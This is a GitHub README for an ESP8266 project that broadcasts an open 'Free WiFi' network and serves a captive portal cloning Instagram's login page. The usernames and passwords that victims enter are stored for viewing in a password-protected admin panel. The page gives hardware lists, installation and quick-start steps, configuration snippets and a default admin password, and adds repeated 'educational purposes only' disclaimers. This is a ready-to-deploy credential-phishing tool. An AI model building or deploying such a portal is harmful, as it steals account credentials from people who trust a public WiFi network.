Skip to content

A captive portal project for ESP8266 that simulates Instagram login page.

License

Notifications You must be signed in to change notification settings

caronero/instagram_portal

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“± Instagram Portal WiFi Captive

ESP8266 Arduino License Version Build Security ESP WiFi

NodeMCU Portal Instagram

πŸ‘¨β€πŸ’» Author

Connect with me:

GitHub YouTube Instagram Telegram

     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚   ESP8266    β”‚
     β”‚  WiFi Portal β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚
           β–Ό
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚  Captive     β”‚
    β”‚   Portal     β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚
           β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Instagram Interface β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🌟 System Overview

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    User Device  β”‚ ──── β”‚   ESP8266    β”‚ ──── β”‚ Admin Panel  β”‚
β”‚    (Phone/PC)   β”‚      β”‚  WiFi Portal β”‚      β”‚   /admin     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
                               β–Ό
                        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                        β”‚  Credential  β”‚
                        β”‚   Storage    β”‚
                        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“± Interface Preview

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚      Instagram Login       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚   β”‚     Instagram    β”‚    β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β”‚
β”‚                           β”‚
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚   β”‚    Username      β”‚    β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β”‚
β”‚                           β”‚
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚   β”‚    Password      β”‚    β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β”‚
β”‚                           β”‚
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚   β”‚     Log In       β”‚    β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“ Project Description

An advanced ESP8266-based system that creates a WiFi access point with a captive portal simulating the Instagram login interface. Perfect for educational purposes and understanding how wireless network portals work.

✨ Key Features

  • 🎯 Pixel-perfect Instagram login interface clone
  • 🌐 Automatic captive portal redirection
  • πŸ’Ύ Secure credential storage system
  • πŸ” Password-protected admin dashboard
  • πŸ“± Responsive design for all devices
  • ⚑ Fast and reliable connection
  • πŸ”„ Automatic WiFi network broadcast
  • πŸ“Š Real-time connection monitoring

πŸ› οΈ Hardware Requirements

  • ESP8266 Development Board (Recommended models):
    • NodeMCU ESP8266
    • Wemos D1 Mini
    • ESP-12E Module
  • Micro USB cable for programming
  • Power source (USB/Battery)

πŸ’» Software Requirements

Required Tools

  • Arduino IDE (2.0+ recommended)
  • ESP8266 Board Package
  • Web Browser

Required Libraries

#include <ESP8266WiFi.h>      // WiFi functionality
#include <DNSServer.h>        // DNS Server for captive portal
#include <ESP8266WebServer.h> // Web Server functionality

πŸ“₯ Installation Guide

  1. Arduino IDE Setup

    # Install ESP8266 Board Package
    http://arduino.esp8266.com/stable/package_esp8266com_index.json
  2. Required Libraries

    • Go to Tools > Manage Libraries
    • Install all required libraries listed above
  3. ESP8266 Configuration

    • Board: "NodeMCU 1.0 (ESP-12E Module)"
    • Upload Speed: "115200"
    • CPU Frequency: "80 MHz"
    • Flash Size: "4MB (FS:2MB OTA:~1019KB)"

πŸš€ Quick Start

  1. Clone this repository
    git clone https://github.com/caronero/instagram_portal.git
  2. Open instagram_portal.ino in Arduino IDE
  3. Configure your settings in the code:
    const char* ssid = "Free WiFi";            // Change network name
    const char* admin_password = "your_pass";   // Change admin password
  4. Upload to your ESP8266
  5. Power on your device

πŸ“± Usage Instructions

  1. Initial Setup

    • Power on the ESP8266
    • Look for "Free WiFi" network
    • Connect to the network
  2. Access Points

    • Main Portal: http://192.168.4.1
    • Admin Panel: http://192.168.4.1/admin
    • Default Password: zaid46
  3. Admin Dashboard Features

    • View captured data
    • Monitor active connections
    • System statistics
    • Real-time logs

βš™οΈ Configuration Options

// Network Configuration
const char* ssid = "Free WiFi";              // WiFi Network Name
const char* admin_password = "zaid46";       // Admin Panel Password
const IPAddress apIP(192, 168, 4, 1);       // Portal IP Address
const byte DNS_PORT = 53;                    // DNS Port

// Storage Configuration
#define MAX_CREDENTIALS 50                   // Maximum stored entries

πŸ” Troubleshooting

Common issues and solutions:

Issue Solution
Device not broadcasting Check power supply
Can't access admin panel Verify IP address
Portal not redirecting Clear browser cache
Connection drops Check ESP8266 power

πŸ›‘οΈ Security Notice

This tool is designed for EDUCATIONAL PURPOSES ONLY. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

🀝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

πŸ“„ License

This project is licensed for educational purposes only. Not for commercial or malicious use.

⚠️ Disclaimer

This project is for educational purposes only. The developers do not endorse or encourage any malicious use of this code.

πŸ“§ Contact

For educational and development inquiries only:

  • Create an issue in this repository
  • Submit a pull request

Made with ❀️ for educational purposes only

About

A captive portal project for ESP8266 that simulates Instagram login page.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages